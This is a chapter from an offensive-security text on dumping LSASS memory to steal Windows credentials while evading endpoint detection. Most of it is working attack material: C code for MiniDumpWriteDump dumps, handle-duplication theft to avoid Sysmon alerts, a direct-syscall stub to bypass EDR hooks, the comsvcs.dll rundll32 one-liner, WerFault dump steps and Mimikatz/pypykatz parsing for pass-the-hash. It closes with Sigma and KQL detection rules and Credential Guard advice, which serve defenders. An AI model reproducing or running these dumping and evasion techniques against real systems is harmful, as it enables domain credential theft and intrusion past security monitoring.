Chapter 128

LSASS Dumping and Credential Extraction

Memory acquisition from lsass.exe: MiniDumpWriteDump, silent process dump via handle duplication, direct syscall reads to bypass AV hooks, LSASS minidump parsing with pypykatz/Mimikatz, Protected Process Light bypass, and the full detection story from Sysmon 10 to MDE alerts.

Scenario

You've escalated to SYSTEM on a workstation. The domain admin logged in earlier today — their NTLMv1 hash is still in LSASS memory. You need it. But Microsoft Defender for Endpoint is running, and sekurlsa::logonpasswords (the classic Mimikatz command) was blocked in under 2 seconds last time it was tested in the lab. You need an approach that avoids the known Mimikatz signature, avoids the Sysmon Event 10 (ProcessAccess) alert on LSASS with PROCESS_VM_READ rights, and produces a minidump you can exfiltrate for offline parsing. This chapter covers three escalating approaches: classic MiniDumpWriteDump, silent handle-duplication dump, and direct syscall NtReadVirtualMemory to avoid userland hooks.

LSASS Memory and Credential Storage

lsass.exe process memory: Contains authentication packages (DLLs loaded by LSASS): msv1_0.dll → MSV1_0: stores NT hashes (NTLMv1/v2) wdigest.dll → WDigest: stores plaintext passwords (disabled Win8.1+, but re-enabled via HKLM\...\wdigest: UseLogonCredential=1) kerberos.dll → Kerberos SSP: stores Kerberos tickets, DES/RC4 session keys livessp.dll → Microsoft Live: MSA account creds tspkg.dll → RDP SSO credentials cloudap.dll → Azure AD / MicrosoftAuthentication Primary Refresh Token (PRT) Credential structures in LSASS heap: LSASS_MSV1_0_CREDENTIAL_LIST → linked list of logon sessions Each session: domain, username, NT hash (RC4 encrypted in memory, key in lsass) Key location: LsaInitializeProtectedMemory stores a 64-bit random key at runtime in lsasrv.dll's data section Memory protection: Protected Process Light (PPL): lsass.exe on Win 8.1+ can be PPL-protected → OpenProcess with PROCESS_VM_READ will return ACCESS_DENIED → Bypass: load a kernel driver to strip PPL attribute from EPROCESS.Protection Credential Guard (HVCI): moves LSA creds into VTL1 (VSM secure world) → Even SYSTEM cannot read encrypted blobs; decryption key is in VTL1 → NTHash is no longer in lsass.exe process memory → Attack surface: Kerberos tickets may still be available in VTL0

MiniDumpWriteDump — Classic Approach

// Classic LSASS dump via MiniDumpWriteDump
// Requires: SeDebugPrivilege (SYSTEM has it); writes .dmp file to disk
// Detection: Sysmon 10 (ProcessAccess LSASS with PROCESS_VM_READ)
//            Windows Defender flags MiniDumpWriteDump on lsass.exe

#include <windows.h>
#include <dbghelp.h>
#pragma comment(lib, "dbghelp.lib")

BOOL EnableDebugPrivilege() {
    HANDLE hToken;
    OpenProcessToken(GetCurrentProcess(),
                     TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
    TOKEN_PRIVILEGES tp = {0};
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
    return AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
}

DWORD GetLsassPid() {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
    Process32FirstW(snap, &pe);
    do {
        if (_wcsicmp(pe.szExeFile, L"lsass.exe") == 0) {
            CloseHandle(snap);
            return pe.th32ProcessID;
        }
    } while (Process32NextW(snap, &pe));
    CloseHandle(snap);
    return 0;
}

BOOL DumpLsass(const wchar_t* outPath) {
    EnableDebugPrivilege();

    DWORD lsassPid = GetLsassPid();
    if (!lsassPid) return FALSE;

    HANDLE hProcess = OpenProcess(
        PROCESS_QUERY_INFORMATION | PROCESS_VM_READ,
        FALSE, lsassPid);
    if (!hProcess) return FALSE;

    HANDLE hFile = CreateFileW(outPath, GENERIC_WRITE, 0, NULL,
                                 CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        CloseHandle(hProcess);
        return FALSE;
    }

    BOOL result = MiniDumpWriteDump(hProcess, lsassPid, hFile,
                                     MiniDumpWithFullMemory,
                                     NULL, NULL, NULL);
    CloseHandle(hFile);
    CloseHandle(hProcess);
    return result;
}
// Resulting .dmp: parse offline with Mimikatz:
// sekurlsa::minidump lsass.dmp
// sekurlsa::logonpasswords

Silent LSASS Dump via Handle Duplication

// Evasion technique: don't call OpenProcess on lsass.exe from our own process.
// Instead, find a process that ALREADY has an LSASS handle open (e.g., svchost.exe)
// and duplicate that handle into our process.
// Sysmon 10 triggers on OpenProcess — not on DuplicateHandle from existing handles.

HANDLE StealLsassHandle(DWORD lsassPid) {
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
    Process32FirstW(snap, &pe);

    do {
        // Try every process to see if it has an LSASS handle
        HANDLE hOwner = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pe.th32ProcessID);
        if (!hOwner) continue;

        // Walk the process handle table via NtQuerySystemInformation
        // (full implementation uses SystemHandleInformation — abbreviated here)
        SYSTEM_HANDLE_INFORMATION_EX* pShi = QuerySystemHandles();
        for (ULONG i = 0; i < pShi->NumberOfHandles; i++) {
            SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX* h = &pShi->Handles[i];
            if (h->UniqueProcessId != pe.th32ProcessID) continue;
            if (h->GrantedAccess != (PROCESS_VM_READ | PROCESS_QUERY_INFORMATION)) continue;

            // Check if handle points to lsass.exe (PID match via NtQueryInformationProcess)
            HANDLE hDup = NULL;
            if (DuplicateHandle(hOwner, (HANDLE)h->HandleValue,
                                GetCurrentProcess(), &hDup,
                                0, FALSE, DUPLICATE_SAME_ACCESS)) {
                PROCESS_BASIC_INFORMATION pbi = {0};
                NtQueryInformationProcess(hDup, ProcessBasicInformation, &pbi,
                                          sizeof(pbi), NULL);
                if ((DWORD)pbi.UniqueProcessId == lsassPid) {
                    CloseHandle(hOwner);
                    CloseHandle(snap);
                    return hDup; // valid LSASS handle — no direct OpenProcess
                }
                CloseHandle(hDup);
            }
        }
        CloseHandle(hOwner);
    } while (Process32NextW(snap, &pe));

    CloseHandle(snap);
    return NULL;
}

// With stolen handle: call MiniDumpWriteDump(hStolenHandle, lsassPid, ...)
// Avoids OpenProcess(lsass.exe) from our process — Sysmon 10 won't fire for us
// BUT: Sysmon still logs the DuplicateHandle event (Event 25 on newer Sysmon)

Direct LSASS Read via Syscalls

// Bypass AV hooks on NtReadVirtualMemory by using direct syscalls (syscall stub).
// EDR products hook ntdll.dll functions in user-mode to intercept LSASS reads.
// Direct syscalls skip the hooked ntdll stub and go straight to the kernel.
// Combined with d/Invoke or Hell's Gate: discover syscall numbers at runtime.

typedef NTSTATUS (NTAPI* NtReadVirtualMemory_t)(
    HANDLE ProcessHandle, PVOID BaseAddress,
    PVOID Buffer, SIZE_T NumberOfBytesToRead, PSIZE_T NumberOfBytesRead);

// Syscall stub (x64 — must be RWX memory or in a code section)
BYTE syscallStub[] = {
    0x4C, 0x8B, 0xD1,              // mov r10, rcx
    0xB8, 0x3F, 0x00, 0x00, 0x00, // mov eax, 0x3F (NtReadVirtualMemory SSN)
    0x0F, 0x05,                      // syscall
    0xC3                               // ret
};
// SSN (System Service Number) for NtReadVirtualMemory varies by OS build.
// Discover it at runtime: parse the ntdll export table, find NtReadVirtualMemory,
// read bytes at offset 4 — that's the SSN in the clean stub:
//   mov eax,   → bytes: B8  00 00 00

DWORD GetSSN(const char* funcName) {
    HMODULE ntdll = GetModuleHandleW(L"ntdll.dll");
    BYTE* funcAddr = (BYTE*)GetProcAddress(ntdll, funcName);
    // Check for hook: hooked functions start with 0xE9 (JMP) or 0xFF 0x25
    // If hooked, walk SSN from adjacent clean syscall stubs (SSN is sequential)
    if (funcAddr[0] == 0xB8) return *(DWORD*)(funcAddr + 1);
    // Hook detected — use Halos Gate to scan neighboring Nt* functions ±N
    // and infer the SSN by offset
    return HalosGateSSN(funcAddr);
}

// Full direct-read LSASS dump (simplified):
BOOL DirectReadLsass(HANDLE hProcess, void* buf, SIZE_T size, ULONG_PTR base) {
    PVOID stub = VirtualAlloc(NULL, sizeof(syscallStub),
                                MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READ);
    DWORD ssn = GetSSN("NtReadVirtualMemory");
    *(DWORD*)(syscallStub + 4) = ssn;   // patch SSN into stub
    memcpy(stub, syscallStub, sizeof(syscallStub));
    NtReadVirtualMemory_t NtRVM = (NtReadVirtualMemory_t)stub;
    SIZE_T read;
    NTSTATUS s = NtRVM(hProcess, (PVOID)base, buf, size, &read);
    VirtualFree(stub, 0, MEM_RELEASE);
    return NT_SUCCESS(s);
}

Dump Evasion Techniques

TechniqueWhat It EvadesHowTrade-off
MiniDumpWriteDump via comsvcs.dllBinary signatures on known dump toolsrundll32 comsvcs.dll,MiniDump <PID> lsass.dmp fullStill triggers Event 10; living-off-the-land binary
Silent process exit dumpHooks on MiniDumpWriteDumpWerFault.exe + SilentProcessExit triggers Windows Error Reporting dumpRequires registry key; dump written by Windows itself
VSS shadow copy + LSASS hive readOpens LSASS at allCopy LSASS process dump from shadow copy of C:\Needs VSS access; see ch129 for SAM/SYSTEM hives
Handle duplicationSysmon 10 on OpenProcess from our processSteal handle from an existing processSysmon 25 (handle duplicate) still fires in newer configs
Direct syscalls + SSN discoveryUserland hooks on ntdll.dllBypass hooked Nt* functions with raw syscall instructionSSN changes between OS builds; requires dynamic discovery
PPL bypass via driverProtected Process Light (PPL)Kernel driver removes PPL flag from EPROCESS.ProtectionRequires code signing or DSE bypass
# Silent Process Exit dump — comsvcs.dll living-off-the-land
# Built-in Windows DLL; MiniDump export is undocumented but works
# Bypasses detection of custom dump tools (no known binary sigs)

$lsassPid = (Get-Process lsass).Id
rundll32 C:\Windows\System32\comsvcs.dll, MiniDump $lsassPid C:\Temp\lsass.dmp full

# WerFault silent process exit dump (no direct LSASS access from our process):
# 1. Set registry keys to trigger WER dump for lsass.exe
# 2. Force lsass "crash" via TerminateProcess on a child — WER catches it
# NOTE: do NOT actually terminate lsass — the whole system crashes
# Use: HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps
#      DumpType=2 (full dump), DumpFolder=C:\Temp
# Then trigger WerFault.exe via NtRaiseHardError — WER writes dump as NT AUTHORITY\SYSTEM

# Offline parsing with pypykatz (Python, no Windows required)
pypykatz lsa minidump lsass.dmp
# Output: MSV1_0 entries with NT hashes, WDigest plaintext (if enabled),
#          Kerberos tickets (base64 .kirbi format)

# Offline parsing with Mimikatz on an isolated VM
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

Dump Structure and Parsing

MINIDUMP file format: Header (MINIDUMP_HEADER): signature "MDMP", version, stream count, stream directory offset StreamDirectory: array of MINIDUMP_DIRECTORY entries pointing to data streams Key streams: SystemInfoStream → OS version, architecture ModuleListStream → loaded DLLs with base addresses MemoryListStream → memory ranges captured in the dump Memory64ListStream → for MiniDumpWithFullMemory: all process pages Credential extraction logic (what pypykatz / Mimikatz do): 1. Parse ModuleListStream → find lsasrv.dll base address in dump 2. Search lsasrv.dll data section for LogonSessionList pointer (signature: 8B D8 83 4D [...] — hard-coded pattern per OS build) 3. Walk LogonSessionList → LSASS_LIST_ENTRY structs 4. Each entry: username, domain, NT hash (encrypted with g_MasterKey) 5. Find g_MasterKey in lsasrv data section (via exported key pointer) 6. Decrypt NT hash: RC4(g_MasterKey, encrypted_hash) For NTLMv1 hash (16 bytes): ready to use for Pass-the-Hash PtH: OpenProcess with stolen hash = full user impersonation WDigest (when UseLogonCredential=1): Plaintext credentials stored XOR'd with a session key pypykatz parses wdigest.dll region and recovers plaintext password

Detection Engineering

-- Detection signals for LSASS credential dumping

-- Event IDs:
--   4656: Object access requested on LSASS process object
--   4663: Object access performed (PROCESS_VM_READ on lsass.exe)
--   Sysmon 10: ProcessAccess — most important LSASS dump signal
--   Sysmon 9: RawAccessRead — raw disk access (VSS alternative)

-- Sigma: ProcessAccess on LSASS (highest priority rule)
title: LSASS Process Access — Credential Dumping
logsource:
  product: windows
  category: process_access
detection:
  selection:
    EventID: 10
    TargetImage|endswith: '\lsass.exe'
    GrantedAccess|contains:
      - '0x1010'  # PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION
      - '0x1410'  # includes PROCESS_VM_WRITE
      - '0x143a'  # Mimikatz access mask
      - '0x40'    # PROCESS_DUP_HANDLE (handle theft detection)
  filter_legit:
    SourceImage|endswith:
      - '\wmiprvse.exe'
      - '\taskmgr.exe'
      - '\csrss.exe'
  condition: selection AND NOT filter_legit
level: critical
tags: [ attack.credential_access, attack.t1003.001 ]

-- Sigma: comsvcs.dll MiniDump (LOTL technique)
title: Suspicious MiniDump via comsvcs.dll (LSASS Dump)
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    Image|endswith: '\rundll32.exe'
    CommandLine|contains|all:
      - 'comsvcs'
      - 'MiniDump'
  condition: selection
level: critical

-- MDE KQL: lsass.exe dump file created on disk
DeviceFileEvents
| where FileName endswith ".dmp"
    or FileName =~ "lsass.dmp"
| where InitiatingProcessFileName in~ ("rundll32.exe", "taskmgr.exe",
                                        "comsvcs.dll", "WerFault.exe")
| project Timestamp, DeviceName, FileName, FolderPath,
          InitiatingProcessFileName, InitiatingProcessCommandLine
Defense: Credential Guard

Microsoft Credential Guard (Virtualization Based Security) moves NTLM hashes and Kerberos credentials into a secure Virtual Trust Level (VTL1) memory region that no user-mode or even kernel-mode code in VTL0 can read. When Credential Guard is enabled, LSASS dumping will yield empty credential entries — the hashes simply aren't in the process memory. LSASS in this configuration holds only an encrypted blob; the decryption key is in the secure world. Detection engineers should check for Credential Guard enablement in their environment as a primary hardening recommendation before deploying dump detection alerts.

Q&A

What's the difference in EDR alerting between MiniDumpWriteDump, comsvcs.dll, and direct syscall approaches?

All three approaches must eventually call something equivalent to NtReadVirtualMemory on the LSASS process — that is unavoidable. The variation is in what the EDR product can intercept. MiniDumpWriteDump from a custom binary: EDR hooks MiniDumpWriteDump in dbghelp.dll + hooks NtReadVirtualMemory + detects OpenProcess on LSASS via Sysmon 10. Most commercial EDRs block this outright and alert at all three layers. comsvcs.dll LOTL: avoids custom binary signatures, but the DLL itself is monitored and rundll32 calling comsvcs.dll + MiniDump with an LSASS PID is a well-known detection rule. Sysmon 10 still fires. Direct syscalls: bypasses userland hooks on ntdll.dll, but kernel callbacks (PsSetCreateProcessNotifyRoutine, ObRegisterCallbacks) still fire at the kernel level — these are how EDRs like CrowdStrike/SentinelOne detect even direct-syscall attackers. The kernel callback sees the process object access regardless of whether it came through ntdll. The most evasive modern approaches combine: direct syscalls + handle duplication (to avoid OpenProcess on LSASS appearing in our process) + encrypting the dump in memory before touching disk. Even then, process ancestry and behavioral scoring (why is this process reading LSASS memory?) will catch most realistic attacks in a mature EDR deployment.